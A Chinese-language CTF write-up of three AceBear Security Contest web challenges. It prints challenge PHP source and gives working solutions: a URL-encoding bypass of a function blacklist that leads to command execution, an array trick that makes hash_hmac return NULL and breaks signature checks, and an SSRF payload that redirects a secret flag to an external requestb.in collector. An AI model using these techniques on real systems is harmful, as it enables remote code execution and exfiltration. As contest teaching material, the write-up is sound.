Chybeta

AceBear Security Contest-部分Web-writeup

AceBear Security Contest-部分Web-writeup

Urlparameter

题目

1
2
3
Description: this chall sucks, you should watch VIE vs UZB match. :) VIET NAM VO DICH!
Author: kad96
Website: Link http://35.196.45.11:8080/

Solution

存在robots.txt: http://35.196.45.11:8080/robots.txt

访问: http://35.196.45.11:8080/?debug 获得源码:

1
2
3
4
5
6
7
$blacklist = "assert|system|passthru|exec|assert|read|open|eval|`|_|file|dir|\.\.|\/\/|curl|ftp|glob";
if(count($_GET) > 0){
if(preg_match("/$blacklist/i",$_SERVER["REQUEST_URI"])) die("No no no hackers!!");
list($key, $val) = each($_GET);
$key($val);
}

可以看到,在检测时使用了$_SERVER["REQUEST_URI"]以及黑名单,接着的获取则使用了$_GET。在php手册中:

也即 $_GET会对传入的参数先进行了一次urldecode(),之后再返回,而$_SERVER["REQUEST_URI"]会直接返回。所以访问:

1
http://35.196.45.11:8080/?syste%6d=ls

对于$_SERVER["REQUEST_URI"],值为syste%6d,绕过了黑名单检测。对于$_GET,则为system,最后实际实行的即为system("ls")

1
http://35.196.45.11:8080/?system=head flag-a-long-name-that-you-wont-know.php

关于接受query-string与编码的问题,可以看看这篇:Request URI, Query String and URL encoding

BearShare

题目

1
2
Description: I have an idea, I want to change the way we communicate.
Website: Link http://35.198.201.83/

Solution

先简单的过一下功能。在 http://35.198.201.83/index.php 页面,你可在Your private message处填入信息,然后页面返回信息保存的位置(stored at server)以及相应的id。

http://35.198.201.83/download.php 页面,你可以选择server,并填入相应的id,然后读出之前存入的信息。页面返回的是一个html页面代码。

经过探测发现有robots.txt,

访问 http://35.198.201.83/backup_files ,获得index.txt与download.txt,它们分别是index.php与download.php的源码。部分关键代码如下

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_POST['message'])){
$message = (string)$_POST['message'];
$rand_id = rand(1000000000, 9999999999).'salt^&#@!'.rand(1000000000, 9999999999);
$messid = md5($rand_id);
$store_location = rand(0,10);
if($store_location%2===0){
file_put_contents('/var/www/messagestore/'.$messid,$message);
} else {
file_put_contents('/var/www/messagestore2/'.$messid,$message);
}
}
?>

download.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
include_once 'config.php';
$nonce = md5(rand(10000000, 99999999).rand(10000000, 99999999));
function gen_hash($n, $sv){
$first = hash_hmac('sha256',$n,$S_KEY);
return hash_hmac('sha256',$sv,$first);
}
function validate_hash(){
if(empty($_POST['hash']) || empty($_POST['storagesv'])){
die('Cannot verify server');
}
if(isset($_POST['nonce'])){
$S_KEY = hash_hmac('sha256',$_POST['nonce'],$S_KEY);
}
$final_hash = hash_hmac('sha256',$_POST['storagesv'],$S_KEY);
if ($final_hash !== $_POST['hash']){
die('Cannot verify server');
}
}
function filter($x){
$x = (string)$x;
if(preg_match('/http|https|\@|\s|:|\/\//mi',$x)){
return false;
}
return $x;
}
if(isset($_POST['messid'])){
$messid = $_POST['messid'];
validate_hash();
$url="";
if($_POST['storagesv'] === 'message1.local' or $_POST['storagesv'] === 'message2.local'){
$url = 'http://'.$_POST['storagesv'].'/';
} elseif ($_POST['storagesv']==="gimmeflag") {
die('AceBear{******}');
}
$messid = filter($messid);
if($messid){
$url .= $messid;
$out = shell_exec('/usr/bin/python '.$BROWSER_BOT.' '.escapeshellarg('http://route.local/?url='.urlencode($url)).' 2>&1');
} else {
die('Hey, are you a haxor?');
}
}
?>

接下来审计一波。可以看到flag在:

1
2
3
4
5
if($_POST['storagesv'] === 'message1.local' or $_POST['storagesv'] === 'message2.local'){
$url = 'http://'.$_POST['storagesv'].'/';
} elseif ($_POST['storagesv']==="gimmeflag") {
die('AceBear{******}');
}

在此之前,经过了validate_hash()的验证,会将传入的$_POST['storagesv']进行hash_hmac操作,将得到的$final_hash进行比较,即比较条件为:

1
hash_hmac('sha256',$_POST['storagesv'], hash_hmac('sha256',$_POST['nonce'],$S_KEY) ) !== $_POST['hash']

在这个比较条件中,$S_KEY是定义在config.php是未知的,但我们有三个参数可控。hash_hmac使用 HMAC 方法生成带有密钥的哈希值,例如此处使用了sha256算法。我们知道在php中md5算法、sha256算法等无法处理数组,这个trick通常来绕过if(@md5($_GET['a']) === @md5($_GET['b'])),因为当传入参数为数组时,返回值是NULL,造成了NULL===NULL

1
2
3
4
<?php
$S_KEY = "UNKNOWN";
if (hash_hmac('sha256',$_POST['nonce'],$S_KEY) === NULL )
echo "Hello,chybeta!";

所以我们传入$_POST['nonce']nonce[]=1,则此时比较条件变为:

1
hash_hmac('sha256',$_POST['storagesv'], NULL ) !== $_POST['hash']

此时我们即可伪造hash和storagesv了,

BearShare level 2

题目

1
2
Description: Well, there is one more thing. After get flag in level 1, try to discover 1 more.
Website: Link http://35.198.201.83/

Solution

这题的连接和前面一样,我们继续在前面的源码上进行探索。在download.php 中有这样一部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
# line 24
function filter($x){
$x = (string)$x;
if(preg_match('/http|https|\@|\s|:|\/\//mi',$x)){
return false;
}
return $x;
}
# line 35
$messid = $_POST['messid'];
validate_hash();
$url="";
if($_POST['storagesv'] === 'message1.local' or $_POST['storagesv'] === 'message2.local'){
$url = 'http://'.$_POST['storagesv'].'/';
} elseif ($_POST['storagesv']==="gimmeflag") {
die('AceBear{******}');
}
$messid = filter($messid);
if($messid){
$url .= $messid;
$out = shell_exec('/usr/bin/python '.$BROWSER_BOT.' '.escapeshellarg('http://route.local/?url='.urlencode($url)).' 2>&1');
} else {
die('Hey, are you a haxor?');
}
}

根据我们传入的参数,构造$url,然后控制$BROWSER_BOT去访问http://route.local/?url=urlencode($url)对应的页面,然后将结果输出。这也解释了为什么前面读取信息时返回的是一个html页面代码,而不是仅仅一条信息。由于这里使用了escapeshellarg,单引号无法逃逸,因此任意命令执行时不存在的。结合代码功能,我们猜想SSRF攻击。

结合这个比赛的“特点”,比如第一题和第二题的信息都是从robots.txt里泄露的,所以我们尝试访问内网的robots.txt,也即我们尝试请求:

1
http://route.local/?url=robots.txt';

利用前面的脚本更改一下storagesv的值以及对应hash,绕过判断以及die语句。构造参数:

1
2
3
4
nonce[]=chybeta
hash=43b0cef99265f9e34c10ea9d3501926d27b39f57c6d674561d8ba236e7a819fb
storagesv=test
messid=robots.txt

1
2
3
4
5
6
7
<?php
if(isset($_GET['url'])){
$url = (string)$_GET['url'];
header('Location: '.$url.'?flag=***SECRET***:');
}
>

当url接收到对应的参数时,会通过重定向将flag发出去。借鉴第一题,如果我们传入%2568ttp://,即可绕过filter。最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /download.php HTTP/1.1
Host: 35.198.201.83
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 170
Referer: http://35.198.201.83/download.php
Connection: close
Upgrade-Insecure-Requests: 1
nonce[]=chybeta&hash=43b0cef99265f9e34c10ea9d3501926d27b39f57c6d674561d8ba236e7a819fb&storagesv=test&messid=index.php?url=%2568ttps%253A%252f%252frequestb.in%252f1e93f3m1

点击赞赏二维码,您的支持将鼓励我继续创作!
chybeta WeChat Pay

微信打赏

chybeta Alipay

支付宝打赏

本文标题:AceBear Security Contest-部分Web-writeup

文章作者:chybeta

发布时间:2018年01月29日 - 09:01

最后更新:2018年01月29日 - 14:01

原始链接:http://chybeta.github.io/2018/01/29/AceBear-Security-Contest-部分Web-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。